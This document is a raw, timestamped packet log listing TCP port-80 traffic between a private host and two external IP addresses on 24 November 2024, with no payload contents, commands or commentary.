Nov 24, 2024 14:24:41.334280014 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.347707987 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.347812891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.347846031 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.348671913 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.349090099 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.368896961 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.368942976 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.369231939 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.390453100 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.390575886 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.390690088 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.391396999 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.433345079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.433540106 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.433612108 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.434822083 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.434940100 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.434952974 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.453679085 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.453736067 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.453840017 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.475873947 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.475979090 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.476073980 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.476891041 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.476974964 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.497355938 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.497371912 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.497442961 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.497548103 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.497606993 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.497723103 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.497785091 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.498460054 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.498521090 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.498584986 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.498635054 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.498667002 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.498677969 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.498773098 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.499382019 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.499548912 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.499598980 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.500317097 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.500375032 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.500413895 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.500471115 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.501236916 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.501301050 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.501390934 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.501430988 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.502176046 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.502230883 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.502268076 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.502322912 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.503104925 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.503166914 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.503215075 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.503998995 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.504059076 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.504115105 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.504173040 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.504921913 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.504976988 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.505043030 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.505091906 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.505832911 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.505887985 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.505948067 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.505994081 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.506752968 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.506808043 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.506845951 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.506894112 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.507698059 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.507802963 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.507883072 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.508631945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.508708000 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.508775949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.508842945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.509645939 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.509697914 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.509752035 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.509797096 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.510536909 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.510584116 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.510620117 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.510674000 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.511395931 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.511452913 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.511540890 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.511590958 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.512275934 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.512335062 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.512377024 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.512434959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.513294935 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.513345957 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.513422012 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.513479948 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.514163971 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.514245987 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.514332056 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.514404058 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.515047073 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.515105009 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.515187979 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.515249014 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.516223907 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.516406059 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.516460896 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.517163992 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.517210960 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.517247915 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.517297983 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.517869949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.517927885 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.518042088 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.518100977 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.518750906 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.518810034 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.518852949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.518902063 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.519674063 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.519772053 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.519856930 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.520581961 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.520658016 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.520692110 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.520776033 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.521534920 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.521756887 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.521815062 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.522443056 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.522495985 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.522543907 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.522588015 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.523345947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.523477077 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.523534060 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.524303913 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.524359941 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.524424076 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.524478912 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.525213957 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.525336027 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.525392056 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.526112080 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.526159048 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.526232958 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.527049065 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.527102947 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.527154922 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.527201891 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.528002977 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.528043985 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.528188944 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.528247118 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.528881073 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.528945923 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.528983116 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.529032946 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.529797077 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.529871941 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.529917002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.529959917 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.530757904 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.530819893 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.530850887 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.530891895 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.531651020 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.531753063 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.531816959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.532567024 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.532648087 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.532737017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.532780886 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.533493042 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.533545017 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.533579111 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.533622026 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.534482002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.534534931 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.534619093 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.534667969 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.535274982 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.535346985 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.535360098 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.535437107 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.535469055 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.535511971 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.535535097 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.536222935 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.536256075 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.536314011 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.536359072 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.536406994 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.537188053 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.537241936 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.537273884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.537331104 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.538161039 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.538213015 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.538278103 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.538331985 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.539021969 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.539088964 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.539145947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.539999008 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.540054083 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.540118933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.540163040 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.540874004 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.540973902 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.541028023 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.541806936 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.541861057 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.541893005 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.541937113 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.542702913 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.542759895 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.542812109 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.542859077 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.543632030 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.543780088 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.543836117 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.544589043 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.544644117 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.544666052 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.544712067 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.545455933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.545507908 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.578640938 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.581464052 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.581548929 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.581619978 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.582396030 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.582516909 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.583252907 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.584332943 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.605101109 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.605115891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.605427980 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.605866909 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.605946064 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.625175953 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.625238895 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.625381947 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.645590067 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.645637035 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.645747900 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.707600117 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.707626104 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.707672119 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.707956076 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.708002090 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.708153963 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.708198071 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.708219051 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.708255053 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.709083080 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.709124088 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.709177017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.709216118 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.710129976 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.710169077 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.710237980 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.710277081 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.710985899 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.711030960 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.711070061 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.711114883 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.711841106 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.711889029 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.711980104 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.712019920 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.712783098 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.712821960 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.712857962 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.712898970 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.713758945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.713799000 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.713913918 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.713953018 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.714696884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.714735985 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.714771986 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.714811087 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.715564013 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.715677023 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.715728045 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.716463089 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.716505051 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.716588974 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.716626883 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.717344046 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.717384100 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.717468023 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.717508078 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.718297958 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.718336105 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.718408108 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.718446016 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.719212055 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.719352007 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.719393969 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.720165014 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.720216036 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.720272064 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.720312119 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.721066952 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.721106052 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.721198082 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.721235037 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.721978903 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.722018003 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.722095013 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.722132921 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.722913027 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.722950935 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.723006964 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.723045111 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.723859072 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.723963022 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.724005938 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.724756002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.724800110 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.724864960 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.724904060 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.725498915 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.725569010 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.725691080 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.725768089 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.725791931 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.725816965 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.725828886 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.726097107 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.726182938 CET	80	49808	34.116.198.130	192.168.2.4
